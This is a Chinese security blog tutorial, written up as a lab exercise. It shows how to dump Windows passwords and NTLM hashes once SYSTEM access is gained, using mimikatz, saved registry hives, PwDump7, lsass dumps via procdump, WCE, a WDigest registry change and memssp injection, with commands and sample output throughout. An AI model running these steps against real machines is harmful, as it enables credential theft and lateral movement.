✎ 阅读须知
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!
本文首发乌鸦安全知识星球!
更新时间:2022.08.04
1. 说明
本文参考了大量的第三方文档,参考资料如下,感谢各位师傅的帮助。
代码语言:javascript复制https://www.secrss.com/articles/24903
https://mp.weixin.qq.com/s/jW2tUXkiBaC6PiF-kRWb1Q
https://mp.weixin.qq.com/s/As4YZ8XDWCfBfieDUU30Ow
https://mp.weixin.qq.com/s/4nlyOIuyQZ9h0Bb5jQO4wQ
https://mp.weixin.qq.com/s/PDVs6zCuEsnpfzPIFI-XJw
https://mp.weixin.qq.com/s/-pijbPocXG8bSDU-l4i4RA
https://zhuanlan.zhihu.com/p/57800688
https://mp.weixin.qq.com/s/PDVs6zCuEsnpfzPIFI-XJw
https://xz.aliyun.com/t/10734#toc-2
2. Windows获取凭证或密码
一般来说,在我们获取到Windows
的system
权限之后,一般都喜欢去看下密码,哪怕是hash
,也想尝试去解一下,Windows
下的安全认证机制总共有两种,一种是基于NTLM
的认证方式,主要用在早期的Windows
工作组环境中;另一种是基于Kerberos
的认证方式,主要用在域环境中。
关于NTLM
的知识,在这里就不在展开了,有兴趣的可以去搜下。
3. 环境准备
本次环境共准备了Windows server2003
、Windows7
、Windows10
、Windows server2012
,按照他们的特点,有针对的进行实操获取。
本文默认已获取system
权限的情况下进行操作。
4. 获取密码或hash方法
4.1 Mimikatz
这个神器肯定是大家都不陌生的, 以前我也写过关于这个工具的免杀学习文档。
原版工具:https://github.com/gentilkiwi/mimikatz
使用方法:
代码语言:javascript复制privilege::debug
提升权限,返回Privilege '20' OK。说明权限提升成功
sekurlsa::logonpasswords
可以读取到NTLM哈希值
4.1.1 server2003
systeminfo
查看当前的电脑是32位
的,所以在这里就使用32
位的来试下:
执行命令之后可以直接获取到明文:
代码语言:javascript复制privilege::debug
sekurlsa::logonpasswords
4.1.2 windows10
在这里先关闭Windows10
的Windows defender
,在这里并不对其进行免杀研究,直接使用x64
位的之后,来获取hash
:
执行命令之后只能够获取hash
,不能够直接获取明文:
209c6174da490caeb422f3fa5a7ae634
可以通过第三方的方式来获取密码:
当然,mimikatz
也可以使用非交互的方式来获取hash
:
mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
4.2 注册表导出hash
有时候,因为某些问题,导致无法直接获取hash
,所以在这里还可以使用注册表导出hash
的方式来进行,具体的步骤如下:
在靶机上使用以下命令(需要system
权限):
靶机上执行:
reg save HKLMSYSTEM system.hiv
reg save HKLMSAM sam.hiv
reg save hklmsecurity security.hiv
在本地使用mimikatz执行:
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit
4.2.1 server2003
打开cmd
执行命令,导出system.hiv
,sam.hiv
,security.hiv
文件:
reg save HKLMSYSTEM system.hiv
reg save HKLMSAM sam.hiv
reg save hklmsecurity security.hiv
最后使用mimikatz
执行,在非靶标机器上,不需要system
权限:
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit
代码语言:javascript复制RID : 000001f4 (500)
User : Administrator
Hash LM : f0d412bd764ffe81aad3b435b51404ee
Hash NTLM: 209c6174da490caeb422f3fa5a7ae634
直接去查询即可。
4.2.2 Windows10
使用同样的方法导出之后再解密:
获取到hash
信息:
User : admin
Hash NTLM: 209c6174da490caeb422f3fa5a7ae634
4.3 pass64.exe
这个文件是我早些时候渗透的时候获得的,在win7
、8
等低于Windows10
的系统上(这种说法不严谨),使用system
权限运行能够直接获取64
位系统的账号和密码信息。
这个工具应该是PwDump7
工具的魔改版本。
在win10
上因为无法获取账号密码报错:
win7
环境下:
4.4 PwDump7
工具下载地址:
代码语言:javascript复制https://download.openwall.net/pub/projects/john/contrib/pwdump/pwdump7.zip
image.png
4.4.1 server2003
可以在Windows2003
上执行,手工将得到的结果保存在1.txt
中:
PwDump7.exe > 1.txt
Administrator:500:F0D412BD764FFE81AAD3B435B51404EE:209C6174DA490CAEB422F3FA5A7AE634:::
Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
SUPPORT_388945a0:1001:NO PASSWORD*********************:E0BD9A807066324A42B519FF5BEFF787:::
IUSR_TEST-D19EBC014E:1003:D4A491469B36E4DEDFF5B37B55778470:2471C03E798817564147AAA062FE8E22:::
IWAM_TEST-D19EBC014E:1004:CE5EF4E001CFA44F29C8D4F0A6CA5261:15F2DD2C17E53DD2FB0E43A1F6B1DFD6:::
ASPNET:1006:6FF5F98464BA40B4762AEFFACC0990D3:E1C2E3693E2A0392D8F625BB47CA78C1:::
test:1007:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4:::
4.4.2 windows10
4.5 Procdump Mimikatz
ProcDump
是一个命令行程序,可以将系统正在运行的进程转存储生成为dump
文件,微软自己的工具,理论上来说不应该会被杀。它的原理是Procdump
导出lsass.exe
的转储文件,使用mimikatz
读取器中的hash。
如果对方机器是win10
以下的,都可以获取明文密码。
下载地址:
代码语言:javascript复制https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
使用方法:
先dump
出lsass.exe
:
32位:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
64位:
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
mimikatz读取:
代码语言:javascript复制sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
4.5.1 server2003
无法使用
4.5.2 Windows10
执行命令:
代码语言:javascript复制procdump.exe -accepteula -ma lsass.exe lsass.dmp
然后使用mimikatz
读取:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
4.6 WCE
官网地址:https://www.ampliasecurity.com/research.html
32位
下载:https://www.ampliasecurity.com/research/wce_v1_42beta_x32.zip
64位
下载:https://www.ampliasecurity.com/research/wce_v1_42beta_x64.zip
参数解释:
-l 列出登录的会话和NTLM凭据(默认值)
-s 修改当前登录会话的NTLM凭据 参数:<用户名>:<域名>:<LM哈希>:<NT哈希>
-r 不定期的列出登录的会话和NTLM凭据,如果找到新的会话,那么每5秒重新列出一次
-c 用一个特殊的NTML凭据运行一个新的会话 参数:<cmd>
-e 不定期的列出登录的会话和NTLM凭据,当产生一个登录事件的时候重新列出一次
-o 保存所有的输出到一个文件 参数:<文件名>
-i 指定一个LUID代替使用当前登录会话 参数:<luid>
-d 从登录会话中删除NTLM凭据 参数:<luid>
-a 使用地址 参数: <地址>
-f 强制使用安全模式
-g 生成LM和NT的哈希 参数<密码>
-K 缓存kerberos票据到一个文件(unix和windows wce格式)
-k 从一个文件中读取kerberos票据并插入到windows缓存中
-w 通过摘要式认证缓存一个明文的密码
-v 详细输出
使用方法:wce.exe -l
或者直接wce
。
4.6.1 server2003
4.6.2 Windows10
无法使用:
4.6.3 Windows7
正常执行:
5. Windows获取明文密码
在这里主要是获取Windows
高版本的明文密码,因为在Windows2012
系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取。
本次环境Windows server2012
,本文默认已获取system
权限的情况下进行操作。
而且本文不讨论抓取密码工具或方法的免杀方式。
6. 获取明文密码方法
6.1 修改注册表
前提条件:
- •
system
权限 - • 需要锁屏后重新登录
在这里依旧使用mimikatz
进行密码的抓取,默认情况下是无法获取明文信息的:
privilege::debug
提升权限,返回Privilege '20' OK。说明权限提升成功
sekurlsa::logonpasswords
可以读取到NTLM哈希值
使用命令行将其修改成记录明文密码,在这里需要注意使用管理员权限来执行:
代码语言:javascript复制reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
再使用命令锁屏:(这个命令可以使用用户权限来执行)
代码语言:javascript复制rundll32.exe user32.dll,LockWorkStation
接下来等待用户再次登录一次就可以抓到了:
如果说在修改之后抓取到了密码,想要恢复对方的注册表,只需要执行下面的命令即可:(依旧需要使用管理员权限)
代码语言:javascript复制修改不记录明文密码
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
再次重启下就可以了:(锁屏无效)
代码语言:javascript复制privilege::debug
提升权限,返回Privilege '20' OK。说明权限提升成功
sekurlsa::logonpasswords
可以读取到NTLM哈希值
6.2 mimikatz插ssp记录密码
需要的条件:
- •
system
权限 - • 锁屏并重新登入
在这里使用mimikatz
来实现:
privilege::debug
misc::memssp
修改完之后使用以下命令锁屏:rundll32.exe user32.dll,LockWorkStation
然后在以下目录下发现明文密码:
C:WindowsSystem32mimilsa.log
7. 总结
其实还有很多的其他方法,在这里就不进行一个个演示了,而且在这里并没有对其是否免杀的能力进行测试,对于不同的环境,免杀的方法也不相同,等以后有时间再学习下。